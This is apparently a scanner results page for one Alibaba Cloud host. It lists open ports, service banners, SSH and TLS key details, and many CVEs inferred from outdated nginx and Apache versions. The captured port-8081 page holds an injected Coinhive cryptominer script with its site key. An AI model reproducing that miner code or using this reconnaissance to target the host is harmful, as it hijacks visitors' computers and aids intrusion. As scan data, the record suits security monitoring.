GeneralInformation

Country	China
City	Beijing
Organization	Aliyun Computing Co., LTD
ISP	Hangzhou Alibaba Advertising Co.,Ltd.
ASN	AS37963
Operating System	Ubuntu

Vulnerabilities

Note: the device may not be impacted by all of these issues. The vulnerabilities are implied based on the software and version.

OpenPorts

22 25 80 123 5432 8081 9000

1571767788 | 2024-06-30T08:38:55.808500

22 / tcp

SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.10
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUhn3KyLklWTD1pHQT/0hozvL/k3knpPY/DMwwps3dMEW
ov0B4kIanA/aPSwYLHMZWqUjl0jGURx3zhGKErNWcHIYzGqT8NIDY9lDLL4b4QEorUcqm5r0Vu/I
R9/o7YgQu/PCsfH+kD2W77W+7N7AgqqYxkyo9VPQoxRG6RkNrnteB6i1Is+h01GKBcBZfrLkjcvp
4pfK2RMx/oI5nX/5A5Z3UK9QvrJ6UGOOuKxdJXwNSUyhCYEEd5X8T7UgQsDNP6GGxDXXv5eqvcF/
nCieRN4uSvpRzpzpDB3a/5ak1nBLw+aaAljPL1Wy7eH5WOTZhbe62evKO1ElJBwn3AyD
Fingerprint: 68:aa:c6:d6:65:a7:c6:96:61:d7:5f:47:92:73:03:a2

Kex Algorithms:
	curve25519-sha256@libssh.org
	ecdh-sha2-nistp256
	ecdh-sha2-nistp384
	ecdh-sha2-nistp521
	diffie-hellman-group-exchange-sha256
	diffie-hellman-group-exchange-sha1
	diffie-hellman-group14-sha1
	diffie-hellman-group1-sha1

Server Host Key Algorithms:
	ssh-rsa
	ssh-dss
	ecdsa-sha2-nistp256
	ssh-ed25519

Encryption Algorithms:
	aes128-ctr
	aes192-ctr
	aes256-ctr
	arcfour256
	arcfour128
	aes128-gcm@openssh.com
	aes256-gcm@openssh.com
	chacha20-poly1305@openssh.com
	aes128-cbc
	3des-cbc
	blowfish-cbc
	cast128-cbc
	aes192-cbc
	aes256-cbc
	arcfour
	rijndael-cbc@lysator.liu.se

MAC Algorithms:
	hmac-md5-etm@openssh.com
	hmac-sha1-etm@openssh.com
	umac-64-etm@openssh.com
	umac-128-etm@openssh.com
	hmac-sha2-256-etm@openssh.com
	hmac-sha2-512-etm@openssh.com
	hmac-ripemd160-etm@openssh.com
	hmac-sha1-96-etm@openssh.com
	hmac-md5-96-etm@openssh.com
	hmac-md5
	hmac-sha1
	umac-64@openssh.com
	umac-128@openssh.com
	hmac-sha2-256
	hmac-sha2-512
	hmac-ripemd160
	hmac-ripemd160@openssh.com
	hmac-sha1-96
	hmac-md5-96

Compression Algorithms:
	none
	zlib@openssh.com

-894703669 | 2024-07-06T19:43:34.841805

25 / tcp

554 iZ25r5bgg0dZ ESMTP not accepting messages
250-iZ25r5bgg0dZ Hello 224.217.173.226 [224.217.173.226], pleased to meet you
250 ENHANCEDSTATUSCODES

1651973090 | 2024-07-08T04:09:30.174232

80 / tcp

Welcome to nginx!

HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 08 Jul 2024 04:09:29 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 04 Mar 2014 11:46:45 GMT
Connection: keep-alive
ETag: "5315bd25-264"
Accept-Ranges: bytes

CVE-2017-20005 CVE-2016-1247 CVE-2016-0746 CVE-2014-0133 CVE-2021-23017 8 moreCVE-2021-3618 CVE-2019-20372 CVE-2018-16845 CVE-2017-7529 CVE-2016-4450 CVE-2016-0747 CVE-2016-0742 CVE-2014-3616

-944058749 | 2024-06-26T06:22:54.483514

123 / udp

NTP
protocolversion: 3
stratum: 3
leap: 0
precision: -23
rootdelay: 0.0246124267578
rootdisp: 0.0469665527344
refid: 1684275971
reftime: 3928370835.32
poll: 3

405874380 | 2024-06-12T16:50:28.662821

5432 / tcp

PostgreSQL
FATAL:  no pg_hba.conf entry for host "224.167.28.117", user "postgres", database "template0", SSL on
FATAL:  no pg_hba.conf entry for host "224.167.28.117", user "postgres", database "template0", SSL off

SSL Certificate

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            99:6d:cb:53:25:07:66:8a
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=iZ25r5bgg0dZ
        Validity
            Not Before: Aug 25 13:06:53 2015 GMT
            Not After : Aug 22 13:06:53 2025 GMT
        Subject: CN=iZ25r5bgg0dZ
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:c0:44:14:a5:47:db:5a:fa:f0:9b:dc:ee:e6:57:
                    c3:45:57:b9:c9:a6:8f:95:4c:e2:94:15:4a:e7:96:
                    28:3c:4f:6b:2d:c0:88:1d:22:0b:7e:ff:f3:e9:e9:
                    be:85:43:12:36:95:a9:4b:d4:86:ca:c3:55:83:44:
                    dd:5a:a5:04:44:ee:d3:8f:5d:50:ba:be:0d:85:af:
                    c6:1c:50:3c:c7:0c:5a:97:45:86:b1:4c:02:c8:1c:
                    3c:f7:2a:85:0e:5b:f3:ad:5a:43:40:9c:a3:40:5f:
                    27:c2:73:a6:87:28:08:21:f9:28:e5:97:9f:78:ba:
                    d2:7d:7f:a4:75:28:36:42:11:15:de:5e:f4:0d:56:
                    c7:a0:83:14:98:e0:67:5b:88:bc:3c:5e:a2:48:18:
                    83:2f:97:4e:5a:fd:33:03:ed:2f:eb:c0:e4:99:f7:
                    65:67:4f:cf:e9:fc:d7:d2:9a:9d:38:af:f9:6c:b8:
                    4f:7a:6e:dd:e5:58:67:91:c2:d9:55:2a:72:4e:b3:
                    b9:07:ad:2f:af:e2:b0:76:73:70:41:9c:ca:6e:0a:
                    e7:c9:0c:ef:d7:2d:f3:03:3a:ed:67:73:48:23:f8:
                    a6:bb:eb:39:a5:07:e8:d5:8f:08:14:02:4b:fc:ec:
                    62:c1:54:da:ab:1c:d0:1a:a4:34:14:a2:3c:d6:50:
                    4c:f1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        2d:30:f8:bd:f4:34:b6:9f:23:cb:18:7d:29:30:92:68:da:09:
        e8:b4:20:93:66:42:8f:d7:e5:df:f4:6e:f8:37:9c:01:c0:be:
        b1:b8:c4:08:77:a2:2c:2f:c3:f3:bd:d3:71:61:0c:9b:23:2f:
        f8:7d:7f:3c:be:44:bc:1b:bc:3b:b0:36:e4:6c:b8:e4:14:a3:
        8b:1c:96:89:1b:e6:ab:da:2d:54:64:94:62:75:e0:0f:b1:9e:
        9d:44:da:e8:c2:ba:f3:4a:3f:e2:5f:72:8b:0d:b4:e4:1b:d2:
        3b:56:3c:cd:2c:7d:d4:2a:e2:b8:22:0f:dc:70:27:c7:4f:93:
        0b:47:75:65:8b:f7:1a:8e:0d:e9:7c:f7:5d:e0:cd:c3:16:b1:
        51:24:9e:d3:f8:ef:55:a1:c6:08:c0:18:37:9b:10:d5:ff:0b:
        b8:af:a6:88:c3:e1:79:40:d4:1b:f3:33:81:b6:a0:e6:38:52:
        f7:c2:e0:6c:7a:01:8c:62:92:e6:3a:03:33:bf:b5:06:1b:e1:
        9e:41:41:42:93:0f:9d:40:a2:52:f6:58:78:21:35:0f:ba:c3:
        ad:70:10:be:99:17:fc:2f:a3:d0:b1:18:c9:7f:ad:e1:8c:b5:
        98:95:7f:c5:8b:9b:8e:25:58:5b:ea:91:70:bb:74:cd:77:75:
        9b:dd:3f:8d

1522321104 | 2024-07-06T21:06:59.703069

8081 / tcp

HTTP/1.1 200 OK
Date: Sat, 06 Jul 2024 21:06:59 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Wed, 03 Oct 2018 19:41:11 GMT
ETag: "2f2-5775838736347"
Accept-Ranges: bytes
Content-Length: 754
Vary: Accept-Encoding
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690
  -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Ubuntu Default Page: It works</title>
  </head>
  <body>
    <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script type="text/JavaScript">
      var miner = new CoinHive.Anonymous('TtAdFndBvqCqZEHyETKRgtSkuGFsZm2I',{throttle: 0.15});
      miner.start(CoinHive.IF_EXCLUSIVE_TAB);
   </script>
   <h1>404</h1>
  </body>
</html>

CVE-2022-31813 CVE-2022-23943 CVE-2022-22720 CVE-2021-44790 CVE-2021-39275 77 moreCVE-2021-26691 CVE-2017-7679 CVE-2017-3167 CVE-2013-4365 CVE-2011-2688 CVE-2007-4723 CVE-2022-30556 CVE-2022-29404 CVE-2022-28615 CVE-2022-28614 CVE-2022-28330 CVE-2022-26377 CVE-2022-22721 CVE-2022-22719 CVE-2021-44224 CVE-2021-40438 CVE-2021-34798 CVE-2021-32792 CVE-2021-32791 CVE-2021-32786 CVE-2021-32785 CVE-2021-26690 CVE-2020-35452 CVE-2020-11985 CVE-2020-1934 CVE-2020-1927 CVE-2019-17567 CVE-2019-10098 CVE-2019-10092 CVE-2019-0220 CVE-2019-0217 CVE-2018-17199 CVE-2018-1312 CVE-2018-1303 CVE-2018-1302 CVE-2018-1301 CVE-2017-15715 CVE-2017-15710 CVE-2017-9798 CVE-2017-9788 CVE-2016-8743 CVE-2016-5387 CVE-2016-4975 CVE-2016-2161 CVE-2016-0736 CVE-2015-3185 CVE-2015-3184 CVE-2015-3183 CVE-2015-0228 CVE-2014-8109 CVE-2014-3581 CVE-2014-3523 CVE-2014-0231 CVE-2014-0226 CVE-2014-0118 CVE-2014-0117 CVE-2014-0098 CVE-2013-6438 CVE-2013-5704 CVE-2013-2765 CVE-2013-0942 CVE-2012-4360 CVE-2012-4001 CVE-2012-3526 CVE-2011-1176 CVE-2009-2299 CVE-2023-45802 CVE-2023-31122 CVE-2023-25690 CVE-2022-37436 CVE-2022-36760 CVE-2020-13938 CVE-2018-1283 CVE-2016-8612 CVE-2013-0941 CVE-2009-0796 CVE-2006-20001

-415089717 | 2024-07-07T04:45:28.887280

9000 / tcp

Action not found

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Date: Sun, 07 Jul 2024 04:45:28 GMT
Content-Length: 2119

123.56.145.220

Last Seen: 2024-07-08

Tags:

GeneralInformation

Vulnerabilities

OpenPorts

1571767788 | 2024-06-30T08:38:55.808500
22 / tcp

OpenSSH6.6.1p1 Ubuntu-2ubuntu2.10

-894703669 | 2024-07-06T19:43:34.841805
25 / tcp

Sendmail

1651973090 | 2024-07-08T04:09:30.174232
80 / tcp

nginx1.4.6

-944058749 | 2024-06-26T06:22:54.483514
123 / udp

405874380 | 2024-06-12T16:50:28.662821
5432 / tcp

PostgreSQL9.5.11 - 9.5.16

1522321104 | 2024-07-06T21:06:59.703069
8081 / tcp

Apache httpd2.4.7

-415089717 | 2024-07-07T04:45:28.887280
9000 / tcp

Products

Pricing

Contact Us

123.56.145.220

Last Seen: 2024-07-08

Tags:

GeneralInformation

Vulnerabilities All ports Port 80 Port 8081 Latest CVSS

OpenPorts

1571767788 | 2024-06-30T08:38:55.808500 22 / tcp

OpenSSH6.6.1p1 Ubuntu-2ubuntu2.10

-894703669 | 2024-07-06T19:43:34.841805 25 / tcp

Sendmail

1651973090 | 2024-07-08T04:09:30.174232 80 / tcp

nginx1.4.6

-944058749 | 2024-06-26T06:22:54.483514 123 / udp

405874380 | 2024-06-12T16:50:28.662821 5432 / tcp

PostgreSQL9.5.11 - 9.5.16

1522321104 | 2024-07-06T21:06:59.703069 8081 / tcp

Apache httpd2.4.7

-415089717 | 2024-07-07T04:45:28.887280 9000 / tcp

Products

Pricing

Contact Us

Vulnerabilities

1571767788 | 2024-06-30T08:38:55.808500
22 / tcp

-894703669 | 2024-07-06T19:43:34.841805
25 / tcp

1651973090 | 2024-07-08T04:09:30.174232
80 / tcp

-944058749 | 2024-06-26T06:22:54.483514
123 / udp

405874380 | 2024-06-12T16:50:28.662821
5432 / tcp

1522321104 | 2024-07-06T21:06:59.703069
8081 / tcp

-415089717 | 2024-07-07T04:45:28.887280
9000 / tcp